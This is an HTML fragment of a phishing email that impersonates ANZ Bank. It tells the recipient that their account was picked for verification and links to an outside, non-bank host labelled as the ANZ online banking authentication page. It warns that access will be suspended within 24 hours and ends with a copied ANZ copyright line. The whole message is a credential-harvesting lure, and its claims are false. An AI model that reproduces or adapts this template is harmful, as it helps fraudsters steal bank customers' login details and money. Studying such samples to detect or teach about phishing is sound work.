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                                                                                <b>Dear customer,</b> 
                                                                                <p>&nbsp;</p>
                                                                                <p><br>
                                                                                <font color="red">We are currently 
                                                                                performing regular maintenance of our
                                                                                <span class="yiv901071918yiv56835992yiv225603649yshortcuts" id="yiv901071918yiv56835992yiv225603649lw_1255109324_2" style="BORDER-BOTTOM: rgb(0,102,204) 1px dashed">
                                                                                security measures</span> for online 
                                                                                banking and customer databases.</font><br>
                                                                                We apologize for the inconvenience but 
                                                                                your account was randomly selected for 
                                                                                verification and you'll be taken <br>
                                                                                through a short authentication process.
                                                                                </p>
                                                                                <p><br>
                                                                                To start now click on:&nbsp;<a target="_blank" rel="nofollow" href="http://h1.ripway.com/updateanz/index.html">ANZ 
                                                                                Online Banking authentication process</a> 
                                                                                . </p>
                                                                                <p><br>
                                                                                <font color="red">Please note!</font> If 
                                                                                we don't receive the appropriate account 
                                                                                verification within 24 hours since 
                                                                                you've got this email, <br>
                                                                                your online access will be suspended for 
                                                                                security reasons. The purpose of this 
                                                                                verification is to ensure your <br>
                                                                                account has not been fraudulently used 
                                                                                and you're not a
                                                                                <span class="yiv901071918yiv56835992yiv225603649yshortcuts" id="yiv901071918yiv56835992yiv225603649lw_1255109324_4" style="BORDER-BOTTOM: medium none">
                                                                                <span class="yiv901071918yiv56835992yiv225603649yshortcuts" id="yiv901071918yiv56835992yiv225603649lw_1264703726_1" style="BORDER-BOTTOM: medium none">
                                                                                victim of identity theft</span></span>.
                                                                                </p>
                                                                                <p><font color="red">Please note! </font>
                                                                                Close down your Web browser after 
                                                                                entering your online banking logon 
                                                                                details.</p>
                                                                                <p><br>
                                                                                Thank you for understanding and helping 
                                                                                us improve. </p>
                                                                                <p><br>
                                                                                <span name="NOINDEX"> <!-- BeginNoIndex -->
                                                                                Copyright Australia and New Zealand 
                                                                                Banking Group Limited ABN 11 005 357 522</span></div>
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